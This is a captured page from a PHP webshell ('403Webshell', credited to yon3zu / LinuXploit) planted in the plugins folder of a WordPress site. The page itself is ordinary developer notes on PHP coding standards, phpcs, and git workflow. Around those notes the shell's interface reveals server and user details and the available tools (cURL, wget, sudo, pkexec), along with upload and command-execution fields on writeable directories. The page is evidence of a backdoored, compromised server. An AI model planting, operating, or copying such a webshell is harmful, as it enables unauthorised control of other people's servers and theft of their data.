403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/mitzvahm/public_html/wp-content/plugins/simple-history/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/mitzvahm/public_html/wp-content/plugins/simple-history/code.md
Since I always forget what standards I use in different projects this file is here to remind me about the standards I use in this project:

- PHP coding standard: [PSR12()] because that's the standard that I use in other projects.

  - `phpcs.xml.dist` is the config used.

- Formatting:
  phpcbf to fix errors and warning.
  Then sometimes Prettier, but befare it's not 100 % stable yet for PHP files.

- phpcs to lint while editing. Lots of code is old but working but was written
  before my editor had nice linting, so much of the code does not lint. This will be fixed.  
  `$ phpcs` to lint PHP from command line

- Changelog: try to use format from https://keepachangelog.com.

## How to use in Visual Studio Code

- Run `composer install`
- Install plugin https://marketplace.visualstudio.com/items?itemName=ValeryanM.vscode-phpsab

## How to use php codesniffer

List errors and warnings:

    $ phpcs /path/to/code/myfile.php # lint specific file
    $ phpcs # be in plugin root and all files will be linted
    $ npm run lint-php # or use npm script

Fix things:

    $ phpcbf /path/to/code

## Git

- Will try to follow OneFlow:  
  https://www.endoflineblog.com/oneflow-a-git-branching-model-and-workflow

Youez - 2016 - github.com/yon3zu
LinuXploit